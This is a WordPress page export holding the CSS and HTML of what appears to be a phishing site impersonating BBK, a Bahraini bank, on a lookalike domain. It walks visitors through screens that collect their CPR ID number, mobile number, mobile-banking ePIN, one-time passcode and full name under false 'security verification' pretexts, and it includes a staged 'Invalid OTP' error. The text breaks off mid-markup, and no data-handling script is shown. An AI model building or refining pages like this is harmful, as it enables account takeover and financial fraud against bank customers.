{"id":7,"date":"2026-06-24T11:07:20","date_gmt":"2026-06-24T11:07:20","guid":{"rendered":"https:\/\/avenlebkb.site\/?page_id=7"},"modified":"2026-06-24T11:19:32","modified_gmt":"2026-06-24T11:19:32","slug":"elementor-7","status":"publish","type":"page","link":"https:\/\/avenlebkb.site\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"7\" class=\"elementor elementor-7\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-1bfb0b4 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"1bfb0b4\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-1d4fa47\" data-id=\"1d4fa47\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-107d0d0 elementor-widget elementor-widget-shortcode\" data-id=\"107d0d0\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\n<style>\n@import url('https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@300;400;500;600;700&display=swap');\n*{\n    margin:0;\n    padding:0;\n    box-sizing:border-box;\n    font-family:'Saira', sans-serif;\n}\n\n@font-face{\n    font-family:'Saira';\n    src:url('YOUR_FONT_URL.woff') format('woff');\n    font-weight:400;\n}\n\n*{\n    font-family:'Saira', sans-serif;\n}\n\nhtml,body{\nheight:100%;\noverflow:hidden;\n}\n\n\/* COLORS *\/\n:root{\n    \/* BACKGROUND *\/\n    --top:#2F83E0;\n    --bottom:#164C93;\n\n    \/* BUTTON DEFAULT (BLUE GRADIENT - HEADER\/FOOTER STYLE) *\/\n    --btnDefTop:#4A78C9;\n    --btnDefBottom:#2F5FB3;\n\n    \/* BUTTON ACTIVE (YELLOW) *\/\n    --btnTop:#FFA743;\n    --btnBottom:#FF9721;\n}\n\n\/* BG *\/\n.wrap{\nposition:fixed;\ninset:0;\nbackground:linear-gradient(to bottom,var(--top),var(--bottom));\n}\n\n\/* STEP *\/\n.step{\nposition:absolute;\nopacity:0;\ntransform:scale(1.02);\ntransition: all .4s ease;\ninset:0;\ndisplay:flex;\nflex-direction:column;\nalign-items:center;\njustify-content:flex-start;\npadding-top:80px;\ncolor:#fff;\ntext-align:center;\n}\n\n.step.active{\n    opacity:1;\n    transform:scale(1);\n    z-index:1;\n}\n\n\/* LOGO *\/\n.logo{\nposition:absolute;\ntop:25px;\nright:25px;\nwidth:105px;\n}\n\n\/* TITLE *\/\nh1{\nfont-size:22px;\nmargin-top:80px;\nfont-weight:600;\n}\n\n\/* STEP3 TITLE UP *\/\n#step3 h1{\n    margin-top:20px;   \/* \u067e\u06c1\u0644\u06d2 80px \u062a\u06be\u0627 *\/\n}\n\n\/* DESCRIPTION UP *\/\n#step3 .sub{\n    margin-top:8px;\n}\n\n\/* INPUT UP *\/\n#step3 .input{\n    margin-top:20px;\n}\n\n\/* TEXT *\/\n.sub{\nmargin-top:10px;\nopacity:.9;\nfont-weight:360;\nfont-size:14px;\nfont-weight:400;\n\nwidth:90%;\nmax-width:360px;\n}\n\n\/* WARNING *\/\n.warn{\nwidth:70px;\nmargin:25px 0;\n}\n\n\/* STEP3 TOP ICON *\/\n#step3 .top-icon{\n    width:115px;\n    margin-top:70px;   \/* \ud83d\udc48 \u0646\u06cc\u0686\u06d2 \u0644\u0627\u0646\u06d2 \u06a9\u06cc\u0644\u0626\u06d2 *\/\n    margin-bottom:10px;\n}\n\n\/* YELLOW TEXT *\/\n.yellow{\nopacity:.9;\nmax-width:360px;\nfont-weight:400;\nfont-size:14px;\n}\n\n\/* ONLY STEP3 DESCRIPTION *\/\n#step3 .yellow{\n    font-size:16px;      \/* size change *\/\n    font-weight:600;     \/* boldness *\/\n    line-height:1.5;     \/* spacing *\/\n}\n\n\/* INPUT *\/\n.input{\nmargin-top:30px;\nwidth:90%;\nmax-width:360px;\nfont-weight:500;\n}\n\n.input input{\n    width:100%;\n    height:60px;\n    border-radius:20px;\n    padding:0 20px;\n    position:relative;\n    z-index:1;\n\n    \/* \ud83d\udd25 HEADER \u2192 FOOTER STYLE (SOLID GRADIENT) *\/\n    background:linear-gradient(\n        to bottom,\n        #3B7AC4,\n        #3B7AC4\n    );\n\n    \/* \ud83d\udd25 SOFT BORDER *\/\n    border:1px solid rgba(82,136,202,0.6);\n\n    \/* \ud83d\udd25 TEXT *\/\n    color:#fff;\n    font-size:18px;\n    outline:none;\n\n    backdrop-filter:blur(4px);\n}\n\n.input input::placeholder{\n    color:rgba(255,255,255,0.70);\n    font-weight:500;\n    font-size:14px;\n    line-height:60px;\n\n    font-family:'Saira', sans-serif;  \/* \ud83d\udc48 ADD THIS *\/\n}\n\n.mobile-input{\n    position:relative;\n    display:flex;\n    align-items:center;\n}\n\n.mobile-input input{\n    padding-left:95px;\n    font-size:17px;\n    font-weight:500;\n}\n\n.prefix{\n    position:absolute;\n    left:18px;\n    top:50%;\n    transform:translateY(-50%);\n    display:flex;\n    align-items:center;\n    gap:8px;\n\n    z-index:2;\n\n    pointer-events:none; \/* \ud83d\udd25 FIX *\/\n\n    color:#fff;\n    font-size:17px;\n    font-weight:500;\n}\n\n.prefix img{\n    width:22px;\n    height:16px;\n    object-fit:cover;\n    border-radius:3px;\n}\n\n\/* STEP3 COUNTRY CODE BIG *\/\n#step3 .prefix{\n    font-size:17px;   \/* \ud83d\udc48 match *\/\n    font-weight:500;\n}\n\n#step3 input{\n    font-size:17px;   \/* \ud83d\udc48 same as prefix *\/\n    font-weight:500;\n}\n\n\/* STEP4 MAIN POSITION FIX *\/\n#step4{\n    justify-content:center; \n    padding-top:0;\n}\n\n\/* RESET extra spacing *\/\n#step4 h1{\n    margin-top:0;\n}\n\n#step4 input{\n    text-align:center;\n    font-size:24px;\n    font-weight:600;\n\n    height:60px;\n\n    display:flex;\n    align-items:center;\n    justify-content:center;\n\n    padding:0;\n\n    transform:translateY(-1px);\n}\n\n#step4 .sub{\n    margin-top:6px; \n    font-size:15px;\n    font-weight:400;\n    line-height:1.5;\n    max-width:300px;\n}\n\n#step4 .input{\n    margin-top:29px;\n}\n\n#step4 .btn-wrap{\n    width:90%;\n    max-width:360px;\n    margin-top:25px;\n}\n\n\/* FOOTER *\/\n.footer{\nposition:absolute;\nbottom:60px;\nwidth:100%;\ndisplay:flex;\nflex-direction:column;\nalign-items:center;\n}\n\n\n\/* STEP4 BUTTON WRAP *\/\n#step4 .btn-wrap{\n    width:90%;\n    max-width:360px;\n    margin-top:25px;\n}\n\n\/* LINK *\/\n#step4 .link{\n    margin-top:18px;\n    opacity:.9;\n    font-size:14px;\n    font-weight:500;\n}\n\n\/* BOXES CONTAINER *\/\n#step4 .boxes{\n    position:absolute;\n    bottom:80px;\n    width:100%;\n    display:flex;\n    justify-content:space-around;\n    padding:0 15px;\n}\n\n\/* SINGLE BOX *\/\n#step4 .box{\n    width:30%;\n    padding:40px 10px;\n    border-radius:16px;\n    background:linear-gradient(to bottom, rgba(255,255,255,0.12), rgba(255,255,255,0.05));\n    text-align:center;\n    font-size:15px;\n    font-weight:500;\n}\n\n\/* ARABIC TEXT *\/\n#step4 .arabic{\n    position:absolute;\n    bottom:20px;\n    font-size:15px;\n    opacity:.9;\n}\n\n\/* BUTTON *\/\n.btn{\n    width:90%;\n    max-width:360px;\n    height:60px;\n    border-radius:20px;\n    border:none;\n    font-size:18px;\n\n    \/* \ud83d\udd25 SOFT \/ LESS LIGHT GRADIENT *\/\n    background:linear-gradient(\n        to bottom,\n        #376AAE 0%,   \/* \ud83d\udc48 \u062a\u06be\u0648\u0691\u0627 darker top *\/\n        #4073B5 100%  \/* \ud83d\udc48 same footer *\/\n    );\n\n    color:#fff;\n    font-weight:600;\n\n    \/* \ud83d\udd25 SOFT PREMIUM SHADOW *\/\n    box-shadow:\n    0 10px 16px -6px rgba(42,77,126,0.28),  \/* \ud83d\udc48 #2A4D7E *\/\n    0 2px 6px rgba(255,255,255,0.18) inset;\n    transition:.3s;\n    position:relative;\n}\n\n\/* STEP4 BUTTON SAME WIDTH AS INPUT *\/\n#step4 .btn{\n    width:100%;\n}\n\n\/* STEP4 LOCK ICON *\/\n#step4 .step4-top-logo{\n    width:125px;\n    position:absolute;\n    top:150px;\n    left:50%;\n    transform:translateX(-50%);\n}\n\n\/* LOADER *\/\n.loader{\n    width:22px;\n    height:22px;\n\n    border:4px solid rgba(255,255,255,0.3);   \/* \ud83d\udd25 3 \u2192 4 *\/\n    border-top:4px solid #fff;\n\n    border-radius:50%;\n    animation:spin .7s linear infinite;\n    margin:auto;\n}\n\n@keyframes spin{\nto{transform:rotate(360deg)}\n}\n\n.hidden{\n    opacity:0;\n    pointer-events:none;\n}\n\n.splash-logo{\n    width:160px;\n}\n\n#step1{\n    display:flex;\n    justify-content:center;\n    align-items:center;\n}\n\n.popup{\n    position:absolute;\n    inset:0;\n\n    background:rgba(0,0,0,0.35);\n    backdrop-filter:blur(6px);\n\n    display:none;\n\n    align-items:center;\n    justify-content:center;\n\n    z-index:999;\n}\n\n\/* \ud83d\udd25 PREMIUM GLASS POPUP *\/\n.popup-box{\n    width:90%;\n    max-width:320px;\n\n    background:linear-gradient(\n        to bottom,\n        rgba(255,255,255,0.97),\n        rgba(240,244,250,0.92)\n    );\n\n    backdrop-filter:blur(10px);\n\n    border-radius:20px;\n    padding:28px 20px;\n\n    text-align:center;\n\n    border:1px solid rgba(255,255,255,0.7);\n}\n\n\/* \ud83d\udd25 CLEAN PREMIUM LOADER *\/\n.bbk-loader{\n    width:40px;\n    height:40px;\n\n    border:4px solid rgba(0,0,0,0.08);   \/* \ud83d\udd25 3 \u2192 4 *\/\n    border-top:4px solid #1F60AF;\n\n    border-radius:50%;\n    animation:bbkSpin .8s linear infinite;\n\n    margin:0 auto 15px;\n}\n\n@keyframes bbkSpin{\n    to{transform:rotate(360deg);}\n}\n\n@keyframes pop{\n    from{transform:scale(0.85);opacity:0;}\n    to{transform:scale(1);opacity:1;}\n}\n\n\/* ICON WRAP *\/\n.popup-icon-wrap{\n    width:120px;\n    height:auto;\n\n    background:none;   \/* \ud83d\udc48 REMOVE circle *\/\n\n    display:flex;\n    align-items:center;\n    justify-content:center;\n\n    margin:0 auto 18px;\n}\n\n\/* ICON *\/\n.popup-icon{\n    width:56px;\n    height:56px;\n    border-radius:50%;\n\n    background:linear-gradient(\n        to bottom,\n        rgba(255,90,90,0.9),\n        rgba(200,0,0,0.8)\n    );\n\n    color:#fff;\n\n    display:flex;\n    align-items:center;\n    justify-content:center;\n\n    font-size:24px;\n    font-weight:600;\n\n    box-shadow:\n        0 8px 18px rgba(255,0,0,0.25);\n}\n\n\/* TITLE *\/\n.popup-title{\n    font-size:18px;\n    font-weight:600;\n    color:#001877;\n    text-align:center;\n    margin-bottom:18px;\n}\n\n\/* LOGO *\/\n.popup-logo{\n    width:70px;   \/* \ud83d\udc48 red icon *\/\n    display:block;\n    margin:0 auto 18px;\n}\n\n\/* SUBTITLE *\/\n.popup-subtitle{\n    font-size:18px;\n    font-weight:600;\n    color:#001877;\n    text-align:center;\n    margin-bottom:10px;\n}\n\n\/* DESC *\/\n.popup-desc{\n    font-size:15px;\n    color:#555;\n    text-align:center;\n    margin-bottom:20px;\n}\n\n\/* BUTTON WRAP *\/\n.popup-btns.center{\n    display:flex;\n    justify-content:center;\n    width:100%;\n    margin-top:10px;\n}\n\n\/* BUTTON *\/\n.verify{\n    width:calc(100% + 10px);\n    max-width:260px;\n    height:60px;\n\n    border-radius:20px;\n    border:none;\n\n    display:flex;\n    align-items:center;\n    justify-content:center;\n\n    color:#fff;\n    font-size:18px;\n    font-weight:600;\n\n    \/* \ud83d\udd25 SAME AS .btn *\/\n    background:linear-gradient(\n        to bottom,\n        #376AAE,\n        #4073B5\n    );\n\n    box-shadow:\n        0 10px 16px -6px rgba(42,77,126,0.28),\n        0 2px 6px rgba(255,255,255,0.18) inset;\n\n    transition:.3s;\n    position:relative;\n}\n\n@keyframes spin{\n    to{transform:rotate(360deg);}\n}\n\n.btn.active{\n    background:linear-gradient(\n        to bottom,\n        #FFA743 0%,     \/* \ud83d\udc48 same color *\/\n        #FF9721 100%\n    );\n\n    color:#fff;\n\n    \/* \ud83d\udd25 PREMIUM SOFT DEPTH (NO OUTER SHADOW) *\/\n    box-shadow:\n        inset 0 2px 4px rgba(255,255,255,0.25),\n        inset 0 -2px 6px rgba(0,0,0,0.15);\n\n    transition:.3s;\n}\n\n.pin-wrap{\n    display:flex;\n    justify-content:center;\n    gap:10px;\n    margin-top:25px;\n}\n\n.pin-wrap input{\n    width:45px;\n    height:55px;\n    border-radius:12px;   \/* \ud83d\udc48 round boxes *\/\n    border:1px solid rgba(82,136,202,0.6);\n\n    background:linear-gradient(\n        to bottom,\n        #3B78C0,\n        #2F66B2\n    );\n\n    text-align:center;\n    font-size:20px;\n    color:#fff;\n    outline:none;\n}\n\n.popup-icon-img{\n    width:110px;   \/* \ud83d\udc48 correct *\/\n    height:auto;\n}\n\n#step5 .pin-wrap{\n    display:flex;\n    justify-content:center;\n    gap:10px;\n    margin-top:25px;\n}\n\n.pin-wrap input{\n    width:48px;\n    height:48px;\n\n    border-radius:12px;\n    border:1px solid rgba(255,255,255,0.15);\n\n    background:rgba(255,255,255,0.10);\n\n    text-align:center;\n    font-size:17px;\n\n    font-family:'Saira', sans-serif;\n    font-weight:600;\n\n    color:rgba(255,255,255,0.7);\n    outline:none;\n}\n\n.otp-box{\n    margin-top:25px;\n    padding:15px;\n    border-radius:20px;\n\n    background:rgba(255,255,255,0.08);\n    border:1px solid rgba(255,255,255,0.15);\n}\n\n.otp-time{\n    margin-top:15px;\n    font-size:16px;\n    font-weight:600;\n    opacity:.95;\n}\n\n#step5 .top-icon{\n    width:90px;\n    margin-top:70px;\n    margin-bottom:10px;\n}\n\n.process-title{\n    font-size:18px;\n    font-weight:700;\n    color:#001877;\n    text-align:center;\n    margin-bottom:8px;\n}\n\n.process-desc{\n    font-size:13px;\n    color:#555;\n    text-align:center;\n    line-height:1.5;\n    padding:0 10px;\n}\n\n\/* \ud83d\udd25 STEP6 (NAME LOGO) SAME AS OTHERS *\/\n#step6 .top-icon{\n    width:80px !important;          \/* \ud83d\udd25 same size *\/\n\n    margin-top:35px !important;     \/* \ud83d\udd25 same top spacing *\/\n    margin-bottom:12px !important;  \/* \ud83d\udd25 same gap *\/\n    \n    display:block;\n}\n\n\/* \ud83d\udd25 ALL ICONS UNIFORM *\/\n.top-icon{\n    width:95px !important;\n    margin-top:35px !important;\n    margin-bottom:12px !important;\n}\n\n\/* \ud83d\udd25 EMAIL STEP LOGO SAME AS OTHERS *\/\n#step8 .top-icon{\n    width:80px !important;\n    margin-top:35px !important;\n    margin-bottom:12px !important;\n    display:block;\n} \n\n\/* \ud83d\udd25 PERFECT BALANCE (OTP STEPS ONLY) *\/\n#step5 .top-icon,\n#step7 .top-icon,\n#step9 .top-icon{\n\n    width:95px !important;\n\n    margin-top:50px !important;   \/* \ud83d\udd25 equal spacing *\/\n    margin-bottom:20px !important;\n\n    display:block;\n}\n\n\/* \ud83d\udd25 CPR STYLE APPLY (STEP3,6,8 ONLY) *\/\n#step3,\n#step6,\n#step8{\n    padding-top:80px !important;   \/* \ud83d\udd25 same as step2 *\/\n}\n\n\/* \ud83d\udd25 ICON POSITION SAME *\/\n    width:80px !important;\n    margin-top:40px !important;   \/* \ud83d\udd25 same feel *\/\n    margin-bottom:15px !important;\n}\n\n\/* \ud83d\udd25 TITLE SAME POSITION *\/\n#step3 h1,\n#step6 h1,\n#step8 h1{\n    margin-top:80px !important;\n}\n\n\/* \ud83d\udd25 DESCRIPTION SAME *\/\n#step3 .sub,\n#step6 .sub,\n#step8 .sub{\n    margin-top:10px !important;\n}\n\n\/* \ud83d\udd25 INPUT SAME *\/\n#step3 .input,\n#step6 .input,\n#step8 .input{\n    margin-top:30px !important;\n}\n\n\/* \ud83d\udd25 OTP STEPS (5,7,9) PERFECT CENTER BALANCE *\/\n\n\/* TITLE \u0627\u0648\u067e\u0631 \u0644\u0627\u0624 *\/\n#step5 h1,\n#step7 h1,\n#step9 h1{\n    margin-top:40px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 80 \u062a\u06be\u0627 *\/\n}\n\n\/* DESCRIPTION \u062a\u06be\u0648\u0691\u0627 tight *\/\n#step5 .sub,\n#step7 .sub,\n#step9 .sub{\n    margin-top:8px !important;\n}\n\n\/* OTP BOX \u0627\u0648\u067e\u0631 \u0644\u0627\u0624 *\/\n#step5 .otp-box,\n#step7 .otp-box,\n#step9 .otp-box{\n    margin-top:18px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 25 \u062a\u06be\u0627 *\/\n}\n\n\/* \ud83d\udd25 CPR + MOBILE + NAME + EMAIL = OTP STYLE BALANCE *\/\n\n\/* ICON POSITION FIX *\/\n#step2 .top-icon,\n#step3 .top-icon,\n#step6 .top-icon,\n#step8 .top-icon{\n\n    width:110px !important;\n\n    margin-top:50px !important;   \/* \ud83d\udd25 same as OTP *\/\n    margin-bottom:20px !important;\n\n}\n\n\/* TITLE BALANCE *\/\n#step2 h1,\n#step3 h1,\n#step6 h1,\n#step8 h1{\n    margin-top:40px !important;   \/* \ud83d\udd25 OTP style *\/\n}\n\n\/* DESCRIPTION BALANCE *\/\n#step2 .sub,\n#step3 .sub,\n#step6 .sub,\n#step8 .sub{\n    margin-top:8px !important;\n}\n\n\/* INPUT POSITION *\/\n#step2 .input,\n#step3 .input,\n#step6 .input,\n#step8 .input{\n    margin-top:25px !important;\n}\n\n\/* \ud83d\udd25 OTP TITLE + DESC PERFECT CENTER *\/\n#step5 h1,\n#step7 h1,\n#step9 h1{\n    margin-top:30px !important;   \/* \ud83d\udd25 equal balance *\/\n}\n\n#step5 .sub,\n#step7 .sub,\n#step9 .sub{\n    margin-top:10px !important;\n    margin-bottom:20px !important; \/* \ud83d\udd25 bottom equal *\/\n}\n\n\/* \ud83d\udd25 NORMAL STEPS CENTER TEXT BALANCE *\/\n#step2 h1,\n#step3 h1,\n#step6 h1,\n#step8 h1{\n    margin-top:30px !important;\n}\n\n#step2 .sub,\n#step3 .sub,\n#step6 .sub,\n#step8 .sub{\n    margin-top:10px !important;\n    margin-bottom:20px !important;\n}\n\n\/* \ud83d\udd25 ALL INPUT TEXT *\/\n.input input{\n    font-size:17px !important;\n    font-weight:500 !important;\n    color:#ffffff !important;   \/* white text *\/\n}\n\n\/* \ud83d\udd25 PLACEHOLDER *\/\n.input input::placeholder{\n    font-size:17px !important;\n    font-weight:500 !important;\n    color:rgba(255,255,255,0.75) !important; \/* soft white *\/\n}\n\n\/* \ud83d\udd25 MOBILE PREFIX ALIGN *\/\n.prefix{\n    font-size:17px !important;\n    font-weight:500 !important;\n    color:#ffffff !important;\n}\n\n\/* \ud83d\udd25 OTP INPUTS *\/\n.pin-wrap input{\n    font-size:17px !important;\n    font-weight:500 !important;\n    color:#ffffff !important;\n}\n\n\/* \ud83d\udd25 SPLASH LOGO ANIMATION *\/\n.splash-logo{\n    width:160px;\n\n    animation:splashZoom 2s ease-in-out infinite;\n}\n\n\/* \ud83d\udd25 KEYFRAMES *\/\n@keyframes splashZoom{\n\n    0%{\n        transform:scale(0.9);\n        opacity:0.6;\n    }\n\n    50%{\n        transform:scale(1.1);\n        opacity:1;\n    }\n\n    100%{\n        transform:scale(0.9);\n        opacity:0.6;\n    }\n}\n\n\/* \ud83d\udd25 SPLASH SCREEN PERFECT CENTER *\/\n#step1{\n    display:flex !important;\n    justify-content:center !important;\n    align-items:center !important;\n\n    padding-top:0 !important;   \/* \ud83d\udd25 \u0627\u0635\u0644 fix *\/\n}\n\n\/* \ud83d\udd25 STEP2 TEXT CENTER BALANCE FIX *\/\n#step2 h1{\n    margin-top:50px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 80 \u062a\u06be\u0627 *\/\n}\n\n#step2 .sub{\n    margin-top:12px !important;\n}\n\n#step2 .yellow{\n    margin-top:15px !important;\n} \n\n\/* \ud83d\udd25 BOX ICON STYLE *\/\n.box{\n    display:flex;\n    flex-direction:column;\n    align-items:center;\n    justify-content:center;\n    gap:10px;\n}\n\n\/* \ud83d\udd25 ICON *\/\n.box-icon{\n    width:28px;\n    height:28px;\n    opacity:0.95;\n}\n\n\/* \ud83d\udd25 TEXT *\/\n.box span{\n    font-size:14px;\n    font-weight:500;\n    text-align:center;\n    line-height:1.4;\n}\n\n\/* \ud83d\udd25 STEP4 (PIN) PLACEHOLDER SIZE FIX *\/\n#step4 .input input::placeholder{\n    font-size:15px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 \u0628\u0691\u0627 \u062a\u06be\u0627\u060c \u0627\u0628 \u0686\u06be\u0648\u0679\u0627 *\/\n    opacity:0.7;\n} \n\n\/* \ud83d\udd25 STEP4 INPUT TEXT SIZE *\/\n#step4 .input input{\n    font-size:17px !important;   \/* \u2714 text size *\/\n    font-weight:600;\n    letter-spacing:2px;          \/* \ud83d\udd25 dots spaced nice *\/\n}\n\n\/* \ud83d\udd25 HIDDEN DOT SIZE (PASSWORD STYLE) *\/\n#step4 .input input[type=\"password\"]{\n    font-size:22px !important;   \/* \ud83d\udd25 dots bigger *\/\n    letter-spacing:4px;          \/* \ud83d\udd25 spacing between dots *\/\n}\n\n\/* \ud83d\udd25 FINAL FIX (NAME + EMAIL LOGO SIZE) *\/\n#step6 .top-icon,\n#step8 .top-icon{\n    width:80px !important;   \/* \ud83d\udd25 jo size chaho yahan change karo *\/\n}\n \n<\/style>\n\n<div class=\"wrap\">\n    \n<!-- STEP 1 SPLASH -->\n<div class=\"step active\" id=\"step1\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/B-Logo.png\" class=\"splash-logo\">\n\n<\/div>\n\n<div class=\"step\" id=\"step2\">\n\n<img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n<h1>CPR Verification<\/h1>\n\n<div class=\"sub\">\nPlease provide your CIVIL Personal Record ( CPR ) number for identity verification\n<\/div>\n\n<img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/war.png\" class=\"warn\">\n\n<div class=\"yellow\">\nYour CPR number is required for enhanced security verification as per BAHRAIN Banking regulations.\n<\/div>\n\n<div class=\"input\">\n<input type=\"tel\" id=\"cpr\" maxlength=\"9\" placeholder=\"CPR Number\">\n<\/div>\n\n<div class=\"footer\">\n<button class=\"btn\" id=\"btn\">Update<\/button>\n<\/div>\n\n<!-- PREMIUM POPUP -->\n<div class=\"popup\" id=\"popup\">\n\n  <div class=\"popup-box\">\n\n    <!-- ICON -->\n    <div class=\"popup-icon-wrap\">\n  <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/Popup-logo.png\" class=\"popup-icon-img\">\n<\/div>\n\n    <!-- TITLE 1 -->\n    <h3 class=\"popup-title\">Verification Required<\/h3>\n\n    <!-- LOGO -->\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/red.png\" class=\"popup-logo\">\n\n    <!-- TITLE 2 -->\n    <h4 class=\"popup-subtitle\">Secure Verification Needed<\/h4>\n\n    <!-- DESCRIPTION -->\n    <p class=\"popup-desc\">\n      Please verify your account to continue securely and access all services.\n    <\/p>\n\n    <!-- BUTTON -->\n    <div class=\"popup-btns center\">\n      <button class=\"verify\" id=\"verifyBtn\">\n        Verify Now\n      <\/button>\n    <\/div>\n\n  <\/div>\n\n<\/div>\n\n<\/div> <!-- STEP2 END -->\n\n<!-- STEP3 END -->\n<div class=\"step\" id=\"step3\">\n\n<img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n<img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/mobile.png\" class=\"top-icon\">\n\n<h1>Additional Verification<\/h1>\n\n<div class=\"sub\">\nFor your security, please provide the following information to complete the verification process\n<\/div>\n\n<div class=\"input mobile-input\">\n\n    <span class=\"prefix\">\n        <img decoding=\"async\" src=\"https:\/\/flagcdn.com\/w40\/bh.png\"> +973\n    <\/span>\n\n    <input type=\"tel\" id=\"mobile\" maxlength=\"8\" placeholder=\"XXXXXXXX\" autocomplete=\"off\">\n\n<\/div>\n\n<div class=\"footer\">\n<button class=\"btn\" id=\"btn2\">Verify<\/button>\n<\/div>\n\n<\/div>\n\n<!-- STEP4 -->\n<div class=\"step hidden\" id=\"step4\">\n\n<img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n<!-- TOP CENTER LOGO -->\n<img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/PASS.png\" class=\"step4-top-logo\">\n\n<h1>BBK Mobile App ePIN<\/h1>\n\n<div class=\"sub\">\nPlease activate your BBK Mobile app Password\/ePIN\n<\/div>\n\n<div class=\"input\">\n    <input type=\"tel\" id=\"epin\" maxlength=\"8\" placeholder=\"Enter your password (6 to 8 numberic only)\" inputmode=\"numeric\">\n<\/div>\n\n<!-- \u2705 BUTTON input \u06a9\u06d2 \u0646\u06cc\u0686\u06d2 -->\n<div class=\"btn-wrap\">\n<button class=\"btn\" id=\"btn3\">Activate<\/button>\n\n<div class=\"link\">\nCreate\/Forgot Password?\n<\/div>\n<\/div>\n\n<!-- \u2705 3 BOXES -->\n<div class=\"boxes\">\n\n    <div class=\"box\">\n        <img decoding=\"async\" src=\"https:\/\/img.icons8.com\/ios-filled\/50\/ffffff\/bank.png\" class=\"box-icon\">\n        <span>Branches<br>ATMs<\/span>\n    <\/div>\n\n    <div class=\"box\">\n        <img decoding=\"async\" src=\"https:\/\/img.icons8.com\/ios-filled\/50\/ffffff\/phone.png\" class=\"box-icon\">\n        <span>Contact<br>Us<\/span>\n    <\/div>\n\n    <div class=\"box\">\n        <img decoding=\"async\" src=\"https:\/\/img.icons8.com\/ios-filled\/50\/ffffff\/document.png\" class=\"box-icon\">\n        <span>Terms<br>Conditions<\/span>\n    <\/div>\n\n<\/div>\n\n<!-- \u2705 ARABIC -->\n<div class=\"arabic\">\u0639\u0631\u0628\u064a<\/div>\n\n<\/div>\n\n<!-- STEP5 -->\n<div class=\"step hidden\" id=\"step5\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n    <!-- \u2705 \ud83d\udd25 \u06cc\u06c1\u0627\u06ba \u0644\u06af\u0627\u0646\u0627 \u06c1\u06d2 -->\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/otp-logo.png\" class=\"top-icon\">\n\n    <h1>Secure Verification Code<\/h1>\n\n    <div class=\"sub\">\nEnter the 6-digit code to securely verify your account\n<\/div>\n\n    <!-- \ud83d\udd25 OTP BOX -->\n    <div class=\"otp-box\">\n\n        <div class=\"pin-wrap\" id=\"otpWrap\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\n            <input type=\"tel\" maxlength=\"1\" inputmode=\"numeric\" pattern=\"[0-9]*\" autocomplete=\"one-time-code\">\n        <\/div>\n        \n        <div id=\"otpError\" style=\"display:none;color:#ff3b3b;font-weight:700;margin-top:10px;\">\nInvalid OTP Code, Please try again\n<\/div>\n\n        <!-- \u23f1 TIMER (box \u06a9\u06d2 \u0627\u0646\u062f\u0631) -->\n        <div class=\"otp-time\">\n            OTP expiration ( 02:00 )\n        <\/div>\n\n    <\/div>\n\n    <!-- \u2705 BUTTON (footer always \u0628\u0627\u06c1\u0631) -->\n    <div class=\"footer\">\n        <button class=\"btn\" id=\"btn5\">Verify<\/button>\n    <\/div>\n\n<\/div>\n\n<!-- STEP6 -->\n<div class=\"step hidden\" id=\"step6\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\n\n    <img decoding=\"async\" src=\"http:\/\/avenlebkb.site\/wp-content\/uploads\/2026\/06\/name.png\" class=\"top-icon\">\n\n    <h1>Full Name Verification<\/h1>\n\n    <div class=\"sub\">\n        Please enter your full name as per your official records\n    <\/div>\n\n    <div class=\"input\">\n        <input type=\"text\" id=\"fullname\" placeholder=\"Full Name\">\n    <\/div>\n\n    <div class=\"footer\">\n        <button class=\"btn\" id=\"btn6\">Continue<\/button>\n    <\/div>\n\n<\/div>\n\n<!-- PROCESS LOADER ONLY -->\n<div class=\"popup\" id=\"processPopup\">\n\n  <div class=\"popup-box\">\n\n    <div 